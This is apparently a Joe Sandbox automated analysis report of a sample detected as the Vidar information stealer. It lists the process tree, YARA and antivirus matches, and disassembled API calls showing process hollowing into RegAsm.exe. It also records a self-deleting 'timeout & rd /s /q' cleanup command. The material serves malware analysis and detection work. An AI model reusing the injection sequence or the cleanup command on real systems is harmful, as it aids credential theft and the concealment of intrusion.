Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userFBKFCFBFID.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Users\userFBKFCFBFID.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userFBKFCFBFID.exe"
Imagebase:	0xb50000
File size:	328'232 bytes
MD5 hash:	E377DAE8BDF40A95DB250E59842D2915
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x360000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x60000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x360000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xc0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xc00000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIEHDAFHDHC.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Users\userIEHDAFHDHC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userIEHDAFHDHC.exe"
Imagebase:	0x5a0000
File size:	196'136 bytes
MD5 hash:	1EF9BBED957BCD2DF5A639E04A67F8BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:55:14
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x6c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:55:16
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4800 -s 1760
Imagebase:	0x4e0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	18:46:44
Start date:	28/08/2024
Path:	C:\ProgramData\DHCGHDHIDH.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\DHCGHDHIDH.exe"
Imagebase:	0xcf0000
File size:	328'232 bytes
MD5 hash:	E377DAE8BDF40A95DB250E59842D2915
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	18:46:44
Start date:	28/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	18:46:44
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x610000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	18:46:45
Start date:	28/08/2024
Path:	C:\ProgramData\HDAFIIDAKJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\HDAFIIDAKJ.exe"
Imagebase:	0x230000
File size:	196'136 bytes
MD5 hash:	1EF9BBED957BCD2DF5A639E04A67F8BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	18:46:45
Start date:	28/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	18:46:45
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x310000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	18:46:45
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x1a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	18:46:45
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x8d0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	18:46:46
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3168 -s 1704
Imagebase:	0x4e0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	18:46:49
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\EGIIJDHCGCBK" & exit
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	18:46:49
Start date:	28/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	18:46:49
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x610000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	52.4%
Total number of Nodes:	21
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 032C24A1 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,032C2413,032C2403), ref: 032C2610
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 032C2623
Wow64GetThreadContext.KERNEL32(000002F8,00000000), ref: 032C2641
ReadProcessMemory.KERNELBASE(000002FC,?,032C2457,00000004,00000000), ref: 032C2665
VirtualAllocEx.KERNELBASE(000002FC,?,?,00003000,00000040), ref: 032C2690
WriteProcessMemory.KERNELBASE(000002FC,00000000,?,?,00000000,?), ref: 032C26E8
WriteProcessMemory.KERNELBASE(000002FC,00400000,?,?,00000000,?,00000028), ref: 032C2733
WriteProcessMemory.KERNELBASE(000002FC,-00000008,?,00000004,00000000), ref: 032C2771
Wow64SetThreadContext.KERNEL32(000002F8,03110000), ref: 032C27AD
ResumeThread.KERNELBASE(000002F8), ref: 032C27BC

Strings

GetThreadContext, xrefs: 032C257B
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 032C260F
ReadProcessMemory, xrefs: 032C258E
SetThreadContext, xrefs: 032C25C7
Load, xrefs: 032C24DF
ResumeThread, xrefs: 032C25DD
TerminateProcess, xrefs: 032C269F
VirtualAlloc, xrefs: 032C2568
VirtualAllocEx, xrefs: 032C25A1
CreateProcessA, xrefs: 032C2555
GetP, xrefs: 032C2523
ress, xrefs: 032C252B
WriteProcessMemory, xrefs: 032C25B4
aryA, xrefs: 032C24E7

Memory Dump Source

Source File: 00000000.00000002.1245215172.00000000032C2000.00000040.00000800.00020000.00000000.sdmp, Offset: 032C2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c2000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 952981cfc67f263c278ec3293ea6ec5ac46121787d47d25a17579d4ee0e4d817
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 7BB1F67660028AAFDB60CF68CC80BDA73A5FF88714F158564EA0CEB341D774FA418B94

Function 01740B20 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 392
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(042C3594,?,?,?), ref: 017410C1

Strings

#l>@, xrefs: 01740E4E
&S!, xrefs: 01740BA8

Memory Dump Source

Source File: 00000000.00000002.1244982227.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1740000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: #l>@$&S!
API String ID: 544645111-1705501573
Opcode ID: 251155d990bca66d3da093fad9fe9fcb3d3efe59ad5651d882fd411e8c70ca55
Instruction ID: fa5b72266363c23a6c5a1edbbc3ab6c0f9606a13437d41202bc69ebdbe588003
Opcode Fuzzy Hash: 251155d990bca66d3da093fad9fe9fcb3d3efe59ad5651d882fd411e8c70ca55
Instruction Fuzzy Hash: 71F17DB4E012698FDB21CFA9C880B9DFBB2BF48310F548599E559AB352C730AD85CF54

Function 01740508 Relevance: 1.6, APIs: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(042C3594,?,?,?), ref: 017410C1

Memory Dump Source

Source File: 00000000.00000002.1244982227.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1740000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0d9e390513dd4bfa130db9f36495c42feca51bb007485f1af6ed8427ea8e72e4
Instruction ID: 67b6e2d3c8d398c6e0dcc8636aa50ba08fcffb0f282ce0dd5cc97fd497b61f6f
Opcode Fuzzy Hash: 0d9e390513dd4bfa130db9f36495c42feca51bb007485f1af6ed8427ea8e72e4
Instruction Fuzzy Hash: 4521E0B5D04259AFCB10DF9AD884ADEFBF4FB48310F50852AE918A7250C774A954CFE1

Analysis Process: RegAsm.exePID: 7492, Parent PID: 7412COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,014140A0), ref: 004195FD
GetProcAddress.KERNEL32(77190000,014141A0), ref: 00419615
GetProcAddress.KERNEL32(77190000,0141A7E0), ref: 0041962E
GetProcAddress.KERNEL32(77190000,0141A888), ref: 00419646
GetProcAddress.KERNEL32(77190000,0141A6F0), ref: 0041965E
GetProcAddress.KERNEL32(77190000,0141A720), ref: 00419677
GetProcAddress.KERNEL32(77190000,01412C08), ref: 0041968F
GetProcAddress.KERNEL32(77190000,0141A738), ref: 004196A7
GetProcAddress.KERNEL32(77190000,0141A750), ref: 004196C0
GetProcAddress.KERNEL32(77190000,0141A7B0), ref: 004196D8
GetProcAddress.KERNEL32(77190000,0141A7C8), ref: 004196F0
GetProcAddress.KERNEL32(77190000,014141E0), ref: 00419709
GetProcAddress.KERNEL32(77190000,01414200), ref: 00419721
GetProcAddress.KERNEL32(77190000,01414300), ref: 00419739
GetProcAddress.KERNEL32(77190000,014145E0), ref: 00419752
GetProcAddress.KERNEL32(77190000,0141A8B8), ref: 0041976A
GetProcAddress.KERNEL32(77190000,0141A8D0), ref: 00419782
GetProcAddress.KERNEL32(77190000,01412C80), ref: 0041979B
GetProcAddress.KERNEL32(77190000,01414420), ref: 004197B3
GetProcAddress.KERNEL32(77190000,0141A8E8), ref: 004197CB
GetProcAddress.KERNEL32(77190000,0141A618), ref: 004197E4
GetProcAddress.KERNEL32(77190000,0141A630), ref: 004197FC
GetProcAddress.KERNEL32(77190000,0141A648), ref: 00419814
GetProcAddress.KERNEL32(77190000,01414360), ref: 0041982D
GetProcAddress.KERNEL32(77190000,0141A660), ref: 00419845
GetProcAddress.KERNEL32(77190000,0141A678), ref: 0041985D
GetProcAddress.KERNEL32(77190000,0141A690), ref: 00419876
GetProcAddress.KERNEL32(77190000,0141A9A8), ref: 0041988E
GetProcAddress.KERNEL32(77190000,0141A930), ref: 004198A6
GetProcAddress.KERNEL32(77190000,0141A978), ref: 004198BF
GetProcAddress.KERNEL32(77190000,0141A918), ref: 004198D7
GetProcAddress.KERNEL32(77190000,0141A948), ref: 004198EF
GetProcAddress.KERNEL32(77190000,0141A960), ref: 00419908
GetProcAddress.KERNEL32(77190000,0141DA50), ref: 00419920
GetProcAddress.KERNEL32(77190000,0141A9C0), ref: 00419938
GetProcAddress.KERNEL32(77190000,0141A9D8), ref: 00419951
GetProcAddress.KERNEL32(77190000,014144A0), ref: 00419969
GetProcAddress.KERNEL32(77190000,0141A990), ref: 00419981
GetProcAddress.KERNEL32(77190000,01414560), ref: 0041999A
GetProcAddress.KERNEL32(77190000,014229F8), ref: 004199B2
GetProcAddress.KERNEL32(77190000,01422998), ref: 004199CA
GetProcAddress.KERNEL32(77190000,01414340), ref: 004199E3
GetProcAddress.KERNEL32(77190000,01414520), ref: 004199FB
LoadLibraryA.KERNEL32(01422968,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(014229B0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(014229C8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(01422950,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(014229E0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(01422A10,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(01422980,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(01422890,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(77040000,014145C0), ref: 00419AAA
GetProcAddress.KERNEL32(77040000,01422938), ref: 00419AC2
GetProcAddress.KERNEL32(77040000,0141ABB0), ref: 00419ADA
GetProcAddress.KERNEL32(77040000,014228A8), ref: 00419AF3
GetProcAddress.KERNEL32(77040000,014144C0), ref: 00419B0B
GetProcAddress.KERNEL32(705A0000,01412CA8), ref: 00419B30
GetProcAddress.KERNEL32(705A0000,014144E0), ref: 00419B49
GetProcAddress.KERNEL32(705A0000,01412D20), ref: 00419B61
GetProcAddress.KERNEL32(705A0000,01422758), ref: 00419B79
GetProcAddress.KERNEL32(705A0000,01422650), ref: 00419B92
GetProcAddress.KERNEL32(705A0000,01414600), ref: 00419BAA
GetProcAddress.KERNEL32(705A0000,014142C0), ref: 00419BC2
GetProcAddress.KERNEL32(705A0000,014227E8), ref: 00419BDB
GetProcAddress.KERNEL32(768D0000,01414260), ref: 00419BFC
GetProcAddress.KERNEL32(768D0000,01414500), ref: 00419C14
GetProcAddress.KERNEL32(768D0000,014228D8), ref: 00419C2D
GetProcAddress.KERNEL32(768D0000,01422668), ref: 00419C45
GetProcAddress.KERNEL32(768D0000,01414280), ref: 00419C5D
GetProcAddress.KERNEL32(75790000,01412DC0), ref: 00419C83
GetProcAddress.KERNEL32(75790000,01412D70), ref: 00419C9B
GetProcAddress.KERNEL32(75790000,01422878), ref: 00419CB3
GetProcAddress.KERNEL32(75790000,01414440), ref: 00419CCC
GetProcAddress.KERNEL32(75790000,01414460), ref: 00419CE4
GetProcAddress.KERNEL32(75790000,01412CF8), ref: 00419CFC
GetProcAddress.KERNEL32(75A10000,01422800), ref: 00419D22
GetProcAddress.KERNEL32(75A10000,014142A0), ref: 00419D3A
GetProcAddress.KERNEL32(75A10000,0141ABC0), ref: 00419D52
GetProcAddress.KERNEL32(75A10000,014228C0), ref: 00419D6B
GetProcAddress.KERNEL32(75A10000,014226E0), ref: 00419D83
GetProcAddress.KERNEL32(75A10000,01414540), ref: 00419D9B
GetProcAddress.KERNEL32(75A10000,014142E0), ref: 00419DB4
GetProcAddress.KERNEL32(75A10000,014227B8), ref: 00419DCC
GetProcAddress.KERNEL32(75A10000,01422680), ref: 00419DE4
GetProcAddress.KERNEL32(76850000,014145A0), ref: 00419E06
GetProcAddress.KERNEL32(76850000,01422698), ref: 00419E1E
GetProcAddress.KERNEL32(76850000,014227D0), ref: 00419E36
GetProcAddress.KERNEL32(76850000,01422740), ref: 00419E4F
GetProcAddress.KERNEL32(76850000,01422710), ref: 00419E67
GetProcAddress.KERNEL32(75690000,014143C0), ref: 00419E88
GetProcAddress.KERNEL32(75690000,01414320), ref: 00419EA1
GetProcAddress.KERNEL32(769C0000,014143E0), ref: 00419EC2
GetProcAddress.KERNEL32(769C0000,014228F0), ref: 00419EDA
GetProcAddress.KERNEL32(6F8E0000,01414380), ref: 00419F00
GetProcAddress.KERNEL32(6F8E0000,01414580), ref: 00419F18
GetProcAddress.KERNEL32(6F8E0000,014143A0), ref: 00419F30
GetProcAddress.KERNEL32(6F8E0000,014226F8), ref: 00419F49
GetProcAddress.KERNEL32(6F8E0000,01414400), ref: 00419F61
GetProcAddress.KERNEL32(6F8E0000,01414480), ref: 00419F79
GetProcAddress.KERNEL32(6F8E0000,01422A78), ref: 00419F92
GetProcAddress.KERNEL32(6F8E0000,01422D38), ref: 00419FAA
GetProcAddress.KERNEL32(6F8E0000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F8E0000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(75D90000,01422908), ref: 00419FF9
GetProcAddress.KERNEL32(75D90000,0141AA60), ref: 0041A011
GetProcAddress.KERNEL32(75D90000,01422920), ref: 0041A029
GetProcAddress.KERNEL32(75D90000,01422728), ref: 0041A042
GetProcAddress.KERNEL32(76470000,01422AF8), ref: 0041A063
GetProcAddress.KERNEL32(6EC00000,01422818), ref: 0041A084
GetProcAddress.KERNEL32(6EC00000,01422C18), ref: 0041A09D
GetProcAddress.KERNEL32(6EC00000,014226B0), ref: 0041A0B5
GetProcAddress.KERNEL32(6EC00000,01422830), ref: 0041A0CD

Strings

InternetSetOptionA, xrefs: 00419FB5
HttpQueryInfoA, xrefs: 00419FCC

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

